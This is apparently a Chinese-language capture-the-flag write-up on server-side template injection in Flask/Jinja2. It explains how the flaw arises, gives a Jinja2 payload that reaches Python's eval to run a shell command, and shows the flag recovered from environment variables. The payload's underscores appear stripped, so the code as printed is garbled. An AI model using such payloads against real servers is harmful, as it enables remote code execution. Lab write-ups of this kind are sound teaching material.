目录
[get flag](#get flag)
漏洞描述
Flask框架(jinja2)服务端模板注入漏洞分析(SSTI)
Flask 是一个 web 框架。也就是说 Flask 为您提供工具、库和技术来允许您构建一个 web 应用程序。
这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。 Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug;缺点是,您不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。
服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。
模板引擎旨在通过将固定模板与易失性数据结合来生成网页。当用户输入直接连接到模板中而不是作为数据传递时,可能会发生服务器端模板注入攻击。这使攻击者可以注入任意模板指令以操纵模板引擎,从而经常使攻击者能够完全控制服务器。顾名思义,服务器端模板注入有效载荷是在服务器端交付和评估的,这可能使它们比典型的客户端模板注入更加危险。
题目是关于模板注入漏洞的!
模板注入漏洞如何产生?
当用户输入被串联到模板中而不是作为数据传递时,服务器端模板注入漏洞就会出现。
简单来说也就是不正确的使用flask中的render_template_string方法会引发SSTI。
仅提供占位符并在其中呈现动态内容的静态模板通常不容易受到服务器端模板注入的攻击。经典示例是一封电子邮件,其中用每个用户的名字打招呼,例如Twig模板中的以下摘录:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
这不易受到服务器端模板注入的影响,因为用户的名字仅作为数据传递到模板中。但是,由于模板只是字符串,因此Web开发人员有时会在呈现之前将用户输入直接连接到模板中。让我们以与上述示例类似的示例为例,但是这次,用户可以在发送电子邮件之前自定义部分电子邮件。例如,他们也许可以选择使用的名称:
$output = $twig->render("Dear " . $_GET['name']);
在此示例中,不是将静态值传递到模板中,而是使用GET参数动态生成模板本身的一部分name。在服务器端评估模板语法时,这可能使攻击者可以按以下方式将服务器端模板注入有效负载放置在name参数中:
http://xxx/?name={{bad-stuff-here}}
漏洞检测
通过poc检测,发现存在模板注入漏洞!
漏洞利用
我们只需要在注入点内写入指定的python payload即可触发代码执行漏洞!
payload:
{% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{{ b['eval']('import("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
我们可以看到触发了代码执行漏洞!我们就可以就行执行任意代码了!
get flag
当我们尝试打印出环境变量时,发现flag!
flag{8a1814aa-85bc-4fb8-b8a6-9699315af136}